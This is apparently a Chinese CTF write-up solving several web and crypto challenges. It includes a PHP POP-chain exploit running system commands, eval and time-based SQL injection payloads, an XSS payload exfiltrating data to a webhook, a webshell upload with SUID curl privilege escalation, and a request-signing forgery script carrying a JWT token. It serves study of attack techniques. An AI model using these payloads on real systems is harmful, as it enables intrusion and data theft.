Web TheBoss
考察知识点:PHP反序列化
1 CQ9jnUNAPzAfLKAmVRkiqzIIQDc7QDbtVPNtpUIvoTywVPEmLKx7QDbtVPNtMaIhL3Eco24tK193LJgyqKNbXD0XVPNtVUfAPvNtVPNtVPNtWUEbnKZgCaAurF0+LJExK3AuoUDbXGfAPvNtVPO9QDbAPa0APzAfLKAmVR1urj0XVPNtVUO1LzkcLlNxnJL7QDbtVPNtMaIhL3Eco24tK19aMKDbWT5uoJHcrj0XVPNtVPNtVPNbWUEbnKZgCzyzXFtcBj0XVPNtVU0APt0XsD0XL2kup3ZtH2IyrJRAPafAPvNtVPOjqJWfnJZtWTgho3p7QDbtVPNtpUIvoTywVPE1Bj0XVPNtVTM1ozA0nJ9hVS9sL2SfoPtxp2IfMvjxozSgMFy7QDbtVPNtVPNtVTIwnT8tWUEbnKZgCaHgCz5iqmfAPvNtVPO9QDbtVPNtMaIhL3Eco24tK19woT9hMFtcQDbtVPNtrj0XVPNtVPNtVPOwLJkfK3ImMKWsMaIhLltxqTucpl0+n25iqljxqTucpl0+qFx7QDbtVPNtsD0XQDc9QDcwoTSmplOHo21ipaWiq3fAPvNtVPOjqJWfnJZtWT5iqmfAPvNtVPOzqJ5wqTyiovOsK2ymp2I0XPEuXKfAPvNtVPNtVPNtMJAbolNbL2kiozHtWUEbnKZgCz5iqlx7QDbtVPNtsD0XVPNtVTM1ozA0nJ9hVS9snJ52o2gyXPy7QDbtVPNtVPNtVTyzVPujpzIaK21uqTAbXPViJ2RgrxRgJy0dYlVfWUEbnKZgCz5iqlxcrj0XVPNtVPNtVPNtVPNtMJAbolNvrJImrJImVwfAPvNtVPNtVPNtsD0XVPNtVU0APt0XsD0XL2kup3ZtGKqunN0Xrj0XVPNtVUO1LzkcLlNxrJImBj0XVPNtVTM1ozA0nJ9hVS9sqT9GqUWcozpbXKfAPvNtVPNtVPNtMJAbolOyoKO0rFtxqTucpl0+rJImYG5hnJjcBj0XVPNtVU0APt0XsD0XQDbAPt0X
解密后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php class LoveU { public $say ; function __wakeup ( ) { $this ->say->add_salt (); } } class Ma { public $if ; function __get ($name ) { ($this ->if )(); } } class Seeya { public $know ; public $u ; function __call ($self ,$name ) { echo $this ->u->now; } function __clone ( ) { call_user_func ($this ->know,$this ->u); } } class Tomorrow { public $now ; function __isset ($a ) { echo (clone $this ->now); } function __invoke ( ) { if (preg_match ("/[a-zA-Z]*/" ,$this ->now)){ echo "yesyes" ; } } } class Mwah { public $yes ; function __toString ( ) { echo empty ($this ->yes->nil); } }
一个php反序列化
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php class LoveU { public $say ; } class Ma { public $if ; } class Seeya { public $know ; public $u ; } class Tomorrow { public $now ; } class Mwah { public $yes ; } $seeya = new Seeya ();$seeya ->know = "system" ;$seeya ->u = "cat /flag" ;$tomorrow1 = new Tomorrow ();$tomorrow2 = new Tomorrow ();$mwah = new Mwah ();$ma = new Ma (); $tomorrow1 ->now = $mwah ;$mwah ->yes = $tomorrow2 ;$tomorrow2 ->now = $seeya ;$endpoint = new Seeya ();$endpoint ->u = $tomorrow1 ;$loveu = new LoveU ();$loveu ->say = $endpoint ;$payload = serialize ($loveu );echo "$payload \n" ;
多说无益,这道题确实花了我很长时间,但我很庆幸自己迈出了这一步,PHP反序列化一直是我的薄弱点,每次看到都会很打脑壳
我们照着exp理一遍思路,也方便自己复盘(在一步步构造pop链时我们可以自己添加echo语句,看看这个点是否打通)
首先,找到出口,显然这里是call_user_func
,我们最后进行任意命令执行
1 2 3 $seeya = new Seeya ();$seeya ->know = "system" ;$seeya ->u = "cat /flag" ;
而触发call_user_func
的前提是__clone()
当类被克隆时自动会自动调用
我们在Tomorrow
类中找到关键语句echo (clone $this->now);
,因此这里的$this->now
一定是设置成$seeya
1 $tomorrow2 ->now = $seeya ;
而触发这个语句的前提是__isset
当对不可访问的属性调用isset()或则会empty()时候会被自动调用
于是我们找到Mwah
中的echo empty($this->yes->nil);
1 $mwah ->yes = $tomorrow2 ;
而触发这个语句的前提是__toString()
当我们尝试将一个对象转换为字符串时,这个方法会被自动调用
所以我们要找echo
语句,这里是Seeya
中的echo $this->u->now;
,届时我们正向来看
入口类基本上就是LoveU
了,因为其中的__wakeup
当执行unserialize()方法时会被自动调用
对于add_salt()
这个不存在的方法,我们想到__call
当要调用的方法不存在或者权限不足时候会自动调用
此时正好对接Seeya
类中__call
下的echo $this->u->now;
因此可以看到我实例化了两次Tomorrow
类
1 2 3 4 5 6 7 8 9 10 11 $tomorrow1 ->now = $mwah ;$mwah ->yes = $tomorrow2 ;$tomorrow2 ->now = $seeya ;$endpoint = new Seeya ();$endpoint ->u = $tomorrow1 ;$loveu = new LoveU ();$loveu ->say = $endpoint ;$payload = serialize ($loveu );
至此,整个pop链就通了
留言板 输入单引号造成语法错误,泄露了一些代码(没关debug)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 if len (msg) > 27 : return render_template('message.html' , msg='留言太长了!' , status='留言失败' ) msg = msg.replace(' ' , '' ) msg = msg.replace('_' , '' ) retstr = set_str(type , msg) insert_msg(username, retstr) return render_template('message.html' , msg=retstr, status='%s,留言成功' % username)def set_str (type , str ): retstr = "%s'%s'" % (type , str ) print (retstr) return eval (retstr) def get_cookie (): check_format = ['class' , '+' , 'getitem' , 'request' , 'args' , 'subclasses' , 'builtins' , '{' , '}' ] return choice(check_format) if __name__ == '__main__' : app.run(host='0.0.0.0' , port='5000' , debug=True )
重点在于闭合retstr = "%s'%s'" % (type, str)
我们本地测试一下:
1 2 3 4 5 6 7 8 9 10 11 def set_str (type , str ): retstr = "%s'%s'" % (type , str ) print (retstr) return eval (retstr) type = "'" msg = "+print('flag')+'" msg = msg.replace(' ' , '' ) msg = msg.replace('_' , '' ) retstr = set_str(type , msg) print (retstr)
payload如下:
1 msg=%2Bopen%28%27..%2Fflag%27%29.read%28%29%2B%27&type='
b1xcy如是说
考察知识点:XSS
auth_utils.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import hashlibfrom flask_jwt_extended import create_access_token, decode_tokenfrom werkzeug.security import generate_password_hash, check_password_hashdef generate_jwt (user ): return create_access_token(identity={"username" : user["username" ]}) def verify_password (stored_hash, provided_password ): return check_password_hash(stored_hash, provided_password) def hash_password (password ): return generate_password_hash(password) def get_username_from_jwt (token ): try : return decode_token(token) except Exception as e: return None def generate_mix_user (self, friend ): return hashlib.md5( "" .join(sorted (self + friend, reverse=True )).encode() ).hexdigest()
socket_events.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 from flask_jwt_extended import jwt_required, get_jwt_identityfrom flask_socketio import SocketIO, send, emit, join_room, leave_room, disconnectfrom utils.db_utils import *from utils.auth_utils import *socketio = SocketIO() room_user_list = [] user_uuid = {} @socketio.on("connect" , namespace="/room" ) @jwt_required(optional=True ) def handle_connect (): current_user = get_jwt_identity() if current_user is None : disconnect() else : room_user_list.append(current_user["username" ]) emit("user_modify" , {"user_list" : list (set (room_user_list))}, broadcast=True ) @socketio.on("message" , namespace="/room" ) @jwt_required(optional=True ) def handle_message (msg ): current_user = get_jwt_identity() if current_user is None : disconnect() else : add_room_message(current_user["username" ], msg) emit("message" , f"{current_user['username' ]} :{msg} " , broadcast=True ) @socketio.on("disconnect" , namespace="/room" ) @jwt_required(optional=True ) def handle_disconnect (): current_user = get_jwt_identity() if current_user is None : disconnect() else : room_user_list.remove(current_user["username" ]) emit("user_modify" , {"user_list" : list (set (room_user_list))}, broadcast=True ) @socketio.on("join" , namespace="/friend" ) @jwt_required(optional=True ) def handle_pri_join (msg ): current_user = get_jwt_identity() if current_user is None : disconnect() else : username = current_user["username" ] tar_fri = msg["friendName" ] try : if (self_uuid := get_self_uuid_info(username)) and ( tar_fri_uuid := get_self_uuid_info(tar_fri) ): user_uuid[username] = self_uuid user_uuid[tar_fri] = tar_fri_uuid friend_relation = generate_mix_user(username, tar_fri) if friend_relation: join_room(friend_relation) emit("info" , "已加入私聊" ) else : emit("disconnect" ) disconnect() except Exception as e: emit("disconnect" , e) disconnect() @socketio.on("message" , namespace="/friend" ) @jwt_required(optional=True ) def handle_message (msg ): current_user = get_jwt_identity() if current_user is None : disconnect() else : username = current_user["username" ] tar_fri = msg["friendName" ] message = msg["message" ] friend_relation = generate_mix_user(username, tar_fri) if friend_relation: add_pri_message(username, tar_fri, message) send(username + ":" + message, room=friend_relation) @socketio.on("leave" , namespace="/friend" ) @jwt_required(optional=True ) def handle_pri_leave (msg ): tar_fri = msg["friendName" ] current_user = get_jwt_identity() if current_user is None : disconnect() else : username = current_user["username" ] friend_relation = generate_mix_user(username, tar_fri) send(username + "已离开" , room=friend_relation) leave_room(username)
这是一开始自己的尝试,想通过用户名和消息拼接的方式构造XSS 由于复制下来是经过html实体编码转换后的,所以当时尝试实体编码绕过,但未果。最后看了wp是在私聊处的聊天界面的用户名存在xss漏洞
而我们看看其他地方
1 <li > < h1> test< /h1> </li >
而私聊的聊天界面将代码复制下来
没有被实体编码,看来这道题的关键点在这里,唉,还是经验欠缺
对于<script>
类型的xss能注入进去,但是无响应,onerror
类型的成功弹窗
常见的xss题目是整一个机器人来访问,并窃取它的cookie(flag),但这道题提示flag不在cookie里面,我们只能另寻思路
我们随便输入消息,admin大概意思是我们不是正确的用户,因此应该是存在未知的好友名,但我们并不知道
再往下看可以看到一段js逻辑代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <script> let socket = null ; function startChat (friendName ) { if (socket) { socket.emit ('leave' , {friendName : friendName}); socket.disconnect (); } socket = io ('/friend' ); socket.on ('connect' , () => { socket.emit ('join' , {friendName : friendName}); }); socket.on ('message' , (msg ) => { let chatBox = document .getElementById ('chat-box' ); let newMessage = document .createElement ('div' ); newMessage.textContent = msg; chatBox.appendChild (newMessage); }); } window .onload = function ( ) { loadFriends (); }; function sendPrivateMessage (friendName ) { let messageInput = document .getElementById ('message' ).value ; if (friendName && messageInput) { socket.emit ('message' , { 'friendName' : friendName, 'message' : messageInput }); document .getElementById ('message' ).value = '' ; } else { document .getElementById ('message' ).value = '' ; alert ('选择一个好友并输入消息' ); } } </script>
可以看到开头部分WebSocket连接管理对应着socket_events.py的私聊部分,前端发送的各种事件(join、message、leave)都对应后端的相应处理函数
这里存在一个loadFriends();
的函数,但是放在控制台中运行,返回Promise {<pending>}
,这表示loadFriends()
是一个异步函数
Promise有三种状态:
pending(待定): 初始状态,既没有完成也没有失败
fulfilled(已完成): 操作成功完成
rejected(已拒绝): 操作失败
Promise {<pending>}
的显示是完全正常的,表示异步操作正在进行中。如果想看到实际的结果,需要使用 .then()
或 await
来等待Promise
完成
那么我们回归主题,admin怎么才会识别我们是他所说的那个正确的人?
我们回到代码当中,在私聊中与这么一串代码
1 send(username + ":" + message, room=friend_relation)
对于room=friend_relation
,我们转到
1 friend_relation = generate_mix_user(username, tar_fri)
1 2 3 4 def generate_mix_user (self, friend ): return hashlib.md5( "" .join(sorted (self + friend, reverse=True )).encode() ).hexdigest()
因此,整个逻辑是: 将当前用户名和好友名拼接在一起,然后按ASCII码从小到大排序,使用MD5加密生成固定长度的哈希值,确保无论是A和B聊天,还是B和A聊天,生成的房间ID都是一样的(只要是这几个字符的任意组合都行,因为最后经过sorted
函数处理后的字符串都是一样的);
friend_relation
则存储这个标识,send函数确保只有room=friend_relation
中的人能收到消息
好现在搞明白了逻辑,那就差那个admin的好友,如何获取呢?我们刚刚提到了loadFriends()
函数,这是加载本地的好友,我们需要让admin去触发这个函数,因为我们发消息admin是会回复我们的,我们只需要登录下面这个账户(payload)让admin发送消息(你是?不不不你不是
)即可
1 <img src =x onerror ="loadFriends().then(data => data.friends.forEach(friend => fetch('https://webhook', {method: 'POST', header: {'Content-Type': 'application/x-www-form-urlencoded'}, body: friend})))" >
1 2 3 self = "admdn" friend = "b1xcy_s41i_7h47" print ("" .join(sorted (self + friend, reverse=True )).encode())
yxsnmihddcba__774411
创建两个账户等待admin发送消息即可
简简单单upload
考察知识点:文件上传,SUID提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 function showFileName ( ) { const fileInput = document .getElementById ('fileInput' ); const fileName = document .getElementById ('fileName' ); const uploadBtn = document .getElementById ('uploadBtn' ); if (fileInput.files .length > 0 ) { fileName.textContent = fileInput.files [0 ].name ; uploadBtn.disabled = false ; } else { fileName.textContent = '未选择文件' ; uploadBtn.disabled = true ; } } function uploadFile ( ) { const statusMsg = document .getElementById ('statusMsg' ); statusMsg.textContent = "上传中..." ; setTimeout (() => { statusMsg.textContent = "上传成功!" ; }, 2000 ); }
也就是说这只是模拟了上传过程,实际上并没有真的上传
不过后来发现,只是出题人化简了步骤,在下面的提示中其实是上传了的
1 2 3 4 $originalFileName = basename ($file ['name' ]);$timestamp = time ();$newFileName = $timestamp . '_' . $originalFileName ;$targetFilePath = $uploadDir . $newFileName ;
可以看到将原文件名中前面添加了时间戳和一个下划线,这里也是可惜,当时就是这么猜测出题人的预期解的,但是自己细节上的一些问题,最后偏离了方向/(ㄒoㄒ)/~~
PHP环境,我们注入PHP一句话木马
不过这里可能存在误差,我们写一个脚本取前后10秒
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import requestsimport timefrom urllib.parse import urlparse, urlunparsedef try_timestamps (base_url, base_timestamp, offset=10 ): parsed_url = urlparse(base_url) path_parts = parsed_url.path.split('/' ) for timestamp in range (base_timestamp - offset, base_timestamp + offset + 1 ): filename = f"{timestamp} _m.php" path_parts[-1 ] = filename new_path = '/' .join(path_parts) new_url = urlunparse(parsed_url._replace(path=new_path)) try : response = requests.get(new_url) print (f"尝试URL: {new_url} - 状态码: {response.status_code} " ) if response.status_code == 200 : print (f"\n找到有效URL: {new_url} " ) return new_url except requests.RequestException as e: print (f"请求失败: {new_url} - 错误: {e} " ) time.sleep(0.1 ) return None def main (): base_url = "http://127.0.0.1:60912/uploads/1733134260_m.php" base_timestamp = 1733134260 result = try_timestamps(base_url, base_timestamp) if not result: print ("\n未找到有效URL" ) if __name__ == "__main__" : main()
这里我们成功连接蚁剑,并在根目录下找到了flag文件,但是打开后一篇空白
之前的一次暑假出题任务中,我出过类似的题目,当时是flag设置的root权限用户可读写,此时作为普通用户打开是一片空白的,因此这里我们先看看自己的身份是什么
不过后续发现执行任何命令都是这个输出,后上网发现,disable_functions
是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,我们上传一个phpinfo()
看看
好家伙,这也忒多了,我们用插件Medicean/as_bypass_php_disable_functions: antsword bypass PHP disable_functions 绕过
没错,只有root用户拥有读取权限,当时我考察的点是suid提权,这里同样的
我们先寻找哪些文件(命令)具有suid权限
1 find / -perm -u=s -type f 2>/dev/null
很好curl,我们去GTFOBins 上面找提权命令
可以看到curl是存在suid提权的
使用file协议读取本地文件
1 curl file:///path/to/flag
肚子饿了
考察知识点:order by SQL注入
看到get传参,猜测sql注入,看到以下回显,大概就是了
很好,我们做一个简单的fuzz测试,看看过滤了哪些
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 (对大小写不敏感) and or(检测前后的空格) )OR( union ^ & regexp | updatexml extractvalue insert delete sleep floor (若desc或asc后面有逗号或;) (,在参数最前面) union select rand exp
desc提示order by注入,同时发现输入为空时,也能回显,所以猜测后端语句为
1 SELECT * FROM table_name ORDER BY column_name $type
其实到了这里熬了很久,一直没搞明白,后面自己在本地的mysql不断的尝试才弄出来了,试过order by和limit
最终确定是order by的注入
(这里试了很久,但自己也总结了经验,就是在推测出后端sql语句后,自己在本地去尝试,这样出的会更快,当然数据库的类型版本具体情况具体看)
1 payload = "-1,if(ascii(substr((seLect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{0},1))>{1},benchmark(500000,md5('ydyd')),price)".format(i, mid)
一共两张表food和secret
然后flag是字段,最后是个fake flag和真flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsimport timeurl = "http://127.0.0.1:56384/index.php" result = "" for i in range (1 , 1000 ): min_value = 32 max_value = 126 while min_value < max_value: mid = (min_value + max_value) // 2 payload = "-1,if(ascii(substr((seLect(group_concat(flag))from(ctf.secret)),{0},1))>{1},benchmark(500000,md5('ydyd')),price)" .format (i, mid) full_url = f"{url} ?type={payload} " start_time = time.time() response = requests.get(full_url) elapsed_time = time.time() - start_time if elapsed_time > 0.5 : min_value = mid + 1 else : max_value = mid if min_value == max_value and 32 <= min_value <= 126 : result += chr (min_value) print ("final:" , result)
预期解:
ORDER BY column in(a , b)的布尔盲注
这个语句会把column字段的值为in里面对应值的元素作为排除项排除在降序排序外单独降序排序
1 ?type=in(if(ascii(substr(database(),1,1)>1),32,28))
EZVUE 一道JS题目
当时做的时候确实想过是加密算法可能存在js代码中,但是后面自己想复杂了,还去搜VUE相关漏洞。。。
在源代码最后部分找到与AES相关的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 (function (e, t ) { (function (r, n, s ) { e.exports = n (s0 (), dt (), nf (), sf (), Be (), of (), Ce (), li (), Nr (), xf (), ui (), ff (), af (), cf (), jr (), lf (), ce (), g0 (), uf (), df (), hf (), pf (), vf (), Bf (), Cf (), Ef (), gf (), _f (), Af (), Ff (), Df (), bf (), yf (), mf (), wf ()) } )(n0, function (r ) { return r }) } )(ci); var Sf = ci.exports ;const Re = Yx (Sf ) , Hf = { class : "card" } , Rf = Os ({ __name : "HelloWorld" , props : { msg : {} }, setup (e ) { const t = Re .enc .Utf8 .parse ("1145140000000000" ) , r = Re .enc .Utf8 .parse ("1919810000000000" ); window .WHAT = "RxPTuF+QBje7qMuvLyOclw3IM69A41A+39bNZ8u65JpuKyjkWNDZk5oPkX+f8hjs" ; const n = no (0 ); function s (i ) { return Re .AES .encrypt (i, t, { iv : r, mode : Re .mode .CBC , padding : Re .pad .Pkcs7 }).toString () } return (i, a ) => (ni (), si (z0, null , [j0 ("h1" , null , fr (i.msg ), 1 ), j0 ("div" , Hf , [j0 ("button" , { type : "button" , onClick : a[0 ] || (a[0 ] = f => n.value = s (Math .random ().toString ())) }, "count is " + fr (n.value ), 1 )])], 64 )) } }) , di = (e, t ) => { const r = e.__vccOpts || e; for (const [n,s] of t) r[n] = s; return r } , Pf = di (Rf , [["__scopeId" , "data-v-6eefbd0d" ]]) , kf = Os ({ __name : "App" , setup (e ) { return (t, r ) => (ni (), si (z0, null , [r[0 ] || (r[0 ] = j0 ("div" , null , [j0 ("a" , { href : "https://vite.dev" , target : "_blank" }, [j0 ("img" , { src : Xx , class : "logo" , alt : "Vite logo" })]), j0 ("a" , { href : "https://vuejs.org/" , target : "_blank" }, [j0 ("img" , { src : Zx , class : "logo vue" , alt : "Vue logo" })])], -1 )), ie (Pf , { msg : "Vite + Vue + ???" })], 64 )) } }) , Tf = di (kf, [["__scopeId" , "data-v-13f9eabc" ]]); Kx (Tf ).mount ("#app" );
写对应的解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const CryptoJS = require ('crypto-js' );const key = CryptoJS .enc .Utf8 .parse ("1145140000000000" );const iv = CryptoJS .enc .Utf8 .parse ("1919810000000000" );const ciphertext = "RxPTuF+QBje7qMuvLyOclw3IM69A41A+39bNZ8u65JpuKyjkWNDZk5oPkX+f8hjs" ;function decrypt (ciphertext ) { try { const bytes = CryptoJS .AES .decrypt (ciphertext, key, { iv : iv, mode : CryptoJS .mode .CBC , padding : CryptoJS .pad .Pkcs7 }); return bytes.toString (CryptoJS .enc .Utf8 ); } catch (error) { console .error ('解密失败:' , error); return null ; } } const decrypted = decrypt (ciphertext);console .log ("解密结果:" , decrypted);
星のflag: 卡比篇 小程序渗透,当时解包后一直去干星のflag: 瓦豆鲁德篇的flag了,当然花了时间也没干出来。。。
兑换奖品
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST /redeemPrize HTTP/2 Host: hosinoflag.yyz9.cn Content-Length: 136 Xweb_xhr: 1 Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzMzOTI1ODksIm9wZW5pZCI6Im9GblNQN2NDcTZ3ck93NjI1YWhhWmFqdWNGcnciLCJ1c2VybmFtZSI6IjIwMjMyMTI5NzEifQ.jIjqQ8hvGuI07agnkfvESX0rta9XTcI73G0Pgh4n_rY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090c11)XWEB/11275 Content-Type: application/json Accept: */* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://servicewechat.com/wxc822b4d5d0a7e6a3/2/page-frame.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 { "nonceStr":"a7kdaw2MnA7AaEcfkNtbHrbZ5nTtjSzh", "quantity":1, "time":1733306341557, "type":"air", "sign":"cd03ca93eba4907360e7e48e9fbac7ba" }
我们看看响应
1 2 3 4 5 6 7 HTTP/2 401 Unauthorized Server: nginx/1.27.0 Date: Wed, 04 Dec 2024 09:59:13 GMT Content-Type: application/json; charset=utf-8 Content-Length: 34 {"error":"Timestamp out of range"}
时间戳超出了范围,显然我们并不是当时的请求过后再来请求会被服务端那边检测到
通过代码审计,我们看到重要的签名参数部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 const signUtils = { generateRandomString (length ) { const characters = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678" ; let result = '' ; for (let i = 0 ; i < length; i++) { result += characters.charAt (Math .floor (Math .random () * characters.length )); } return result; }, getTimestamp ( ) { return Date .now (); }, sortObjectKeys (obj ) { const sortedKeys = Object .keys (obj).sort (); const sortedObj = {}; for (const key of sortedKeys) { const value = obj[key]; if (value !== null && typeof value === 'object' && !Array .isArray (value)) { sortedObj[key] = this .sortObjectKeys (value); } else { sortedObj[key] = value; } } return sortedObj; }, generateSignature (obj, authString ) { const stringToSign = "uEN1csMtt2Wmc0u6rHaGDvNHUHL9Wqds" + JSON .stringify (obj).replace (/\s+/g , '' ) + authString; return this .md5 (stringToSign); }, md5 (input ) { return CryptoJS .MD5 (input).toString (); }, generateSignParams (data, authString ) { const params = { nonceStr : this .generateRandomString (32 ), time : this .getTimestamp (), ...data }; const sortedParams = this .sortObjectKeys (params); const signature = this .generateSignature (sortedParams, authString); return { ...sortedParams, sign : signature }; } };
其中从我们的抓包数据来看
签名参数
1 2 3 4 5 { nonceStr: generateRandomString(32 ), time: getTimestamp(), sign: signature }
签名生成过程
1 2 3 stringToSign = "uEN1csMtt2Wmc0u6rHaGDvNHUHL9Wqds" + JSON.stringify(sortedParams) + authString
认证信息
1 2 3 4 headers: { 'Authorization': wx.getStorageSync('Authorization') 'Content-Type': 'application/json' }
业务参数
1 2 3 4 { type: "air" , quantity: 1 }
因为这些签名算法完全暴露在前端,固定密钥uEN1csMtt2Wmc0u6rHaGDvNHUHL9Wqds
也在前端代码中,只要有有效的JWT token,就可以构造合法请求,我们再修改购买数量为0或者负数就可绕过(根据rea1ity师傅的说法是猜测后端的运算结果是由数量决定,但是没有对数量做出限制或者错误处理,也就是说我们的数量0经过后端计算只需要0积分,那自然会返回给我们flag,并显示购买成功)
签名脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 const CryptoJS = require ('crypto-js' );class SignGenerator { constructor (authToken ) { this .SECRET_KEY = "uEN1csMtt2Wmc0u6rHaGDvNHUHL9Wqds" ; this .AUTH_TOKEN = authToken; this .CHARS = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678" ; } generateRandomString (length = 32 ) { let result = '' ; for (let i = 0 ; i < length; i++) { result += this .CHARS .charAt (Math .floor (Math .random () * this .CHARS .length )); } return result; } getTimestamp ( ) { return Date .now (); } sortObjectKeys (obj ) { const sortedKeys = Object .keys (obj).sort (); const sortedObj = {}; for (const key of sortedKeys) { const value = obj[key]; if (value !== null && typeof value === 'object' && !Array .isArray (value)) { sortedObj[key] = this .sortObjectKeys (value); } else { sortedObj[key] = value; } } return sortedObj; } generateSignature (params ) { const sortedParams = this .sortObjectKeys (params); const stringToSign = this .SECRET_KEY + JSON .stringify (sortedParams).replace (/\s+/g , '' ) + this .AUTH_TOKEN ; return CryptoJS .MD5 (stringToSign).toString (); } generateRequestParams (type, quantity ) { const params = { nonceStr : this .generateRandomString (), quantity : quantity, time : this .getTimestamp (), type : type }; const sign = this .generateSignature (params); return { ...params, sign }; } } const AUTH_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzMzOTI1ODksIm9wZW5pZCI6Im9GblNQN2NDcTZ3ck93NjI1YWhhWmFqdWNGcnciLCJ1c2VybmFtZSI6IjIwMjMyMTI5NzEifQ.jIjqQ8hvGuI07agnkfvESX0rta9XTcI73G0Pgh4n_rY" ; const generator = new SignGenerator (AUTH_TOKEN );const signedParams = generator.generateRequestParams ("kirbysFlag" , -1 );console .log (JSON .stringify (signedParams, null , 2 ));
这也是我第一次遇到小程序的题目,非常感谢yyz皇帝的题目来源,自己粗略的总结一下:永远不要相信前端代码的安全性
这个API安全机制包含了:
1 2 3 4 时间戳防重放 随机字符串防重复 参数签名防篡改 JWT token身份认证
但由于所有安全逻辑都在客户端实现,密钥直接硬编码在前端,完整的签名算法对攻击者可见,同时我们可以完全模拟客户端行为。所以关键的安全逻辑应该在服务器端实现。
Crypto Rabin Attack 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from Crypto.Util.number import *flag = 'Redrock{xxxxxxx}' p = getPrime ( 512 ) q = getPrime ( 512 ) assert p > qn = p * q e = 65536 m = bytes_to_long ( flag ) gift1 = ( pow ( p , e , n ) - pow ( q , e , n ) ) % n gift2 = pow ( p - q , e , n ) c = pow ( m , e , n ) print ( "gift1 =" , gift1 )print ( "gift2 =" , gift2 )print ( "n =" , n )print ( "c =" , c )''' gift1 = 70612587795954392344132094730351403649829676891412980698720685677055233282945575188159753021039985877805925869036057939045603303707270735727465451481971229728857153219079805448545657237685935186892394077541589344177111006154640246714109802383872633756501917196067963687580349800926510289567359034040522209674 gift2 = 38463381889242878775851103219249929683898590502230614245284391193150679494898377733308518328326511354270705104866890313641160185926106305648319145903270699447472461263879678137700679430923772268112218545961984599486945138619458459998972955898816150905926656597823930838334680086640877216128845700128691465588 n = 93566489118308776213548693331730790051986994076752268755785265897482150175977191873408574414830058267133131613604483143078795628416063654383346104078580911952745697991375522526922908516196249414857302497260198309866671553599009574215710156854318056264828988885111028008676481908027550985766902115890583474937 c = 75747531080369602384428056951120987878900186477845434909504204471844047514139676853422617338712469202949435192552055475351523114283415371682553171988771857834140270923322175073118710434744943142539112104330240766284072851443916329309536962182662035765061720542151824288467075008996934135910736793674898991433 '''
如题,考察Rabin Attack
1 2 3 4 5 6 7 8 9 10 from sympy import invert, gcdgift1 = 70612587795954392344132094730351403649829676891412980698720685677055233282945575188159753021039985877805925869036057939045603303707270735727465451481971229728857153219079805448545657237685935186892394077541589344177111006154640246714109802383872633756501917196067963687580349800926510289567359034040522209674 gift2 = 38463381889242878775851103219249929683898590502230614245284391193150679494898377733308518328326511354270705104866890313641160185926106305648319145903270699447472461263879678137700679430923772268112218545961984599486945138619458459998972955898816150905926656597823930838334680086640877216128845700128691465588 n = 93566489118308776213548693331730790051986994076752268755785265897482150175977191873408574414830058267133131613604483143078795628416063654383346104078580911952745697991375522526922908516196249414857302497260198309866671553599009574215710156854318056264828988885111028008676481908027550985766902115890583474937 c = 75747531080369602384428056951120987878900186477845434909504204471844047514139676853422617338712469202949435192552055475351523114283415371682553171988771857834140270923322175073118710434744943142539112104330240766284072851443916329309536962182662035765061720542151824288467075008996934135910736793674898991433 e = 65536 p = gcd((gift1 + gift2) * invert(2 , n) % n, n) q = n // p
